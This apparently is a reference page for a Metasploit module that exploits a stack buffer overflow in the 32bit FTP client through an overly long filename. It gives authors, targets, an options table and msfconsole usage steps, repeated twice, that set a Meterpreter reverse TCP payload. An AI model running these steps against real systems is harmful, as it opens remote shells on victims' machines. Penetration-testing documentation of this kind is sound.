32bit FTP Client Stack Buffer Overflow
This module exploits a stack buffer overflow in 32bit ftp client, triggered when trying to download a file that has an overly long filename.
Exploit Rank
- Good
Exploit Authors
- fancy < >
- corelanc0d3r < peter.ve [at] corelan.be >
Vulnerability References
Exploit Targets
- 0 - XP Universal (default)
Exploit Development
Similar Exploit Modules
- exploit/windows/ftp/3cdaemon_ftp_user
- exploit/windows/ftp/aasync_list_reply
- exploit/windows/ftp/ability_server_stor
- exploit/windows/ftp/absolute_ftp_list_bof
- exploit/windows/ftp/cesarftp_mkd
- exploit/windows/ftp/dreamftp_format
- exploit/windows/ftp/easyfilesharing_pass
- exploit/windows/ftp/easyftp_cwd_fixret
- exploit/windows/ftp/easyftp_list_fixret
- exploit/windows/ftp/easyftp_mkd_fixret
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/ftp/32bitftp_list_reply
msf exploit(32bitftp_list_reply) > show payloads
msf exploit(32bitftp_list_reply) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(32bitftp_list_reply) > set LHOST [MY IP ADDRESS]
msf exploit(32bitftp_list_reply) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/ftp/32bitftp_list_reply
msf exploit(32bitftp_list_reply) > show payloads
msf exploit(32bitftp_list_reply) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(32bitftp_list_reply) > set LHOST [MY IP ADDRESS]
msf exploit(32bitftp_list_reply) > exploit
Exploit Module Options
| SRVHOST | The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0) |
| SRVPORT | The local port to listen on. (default: 21) |
| SSL | Negotiate SSL for incoming connections |
| SSLCert | Path to a custom SSL certificate (default is randomly generated) |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3) |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| ListenerComm | The specific communication channel to use for this service |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| TCP::max_send_size | Maximum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |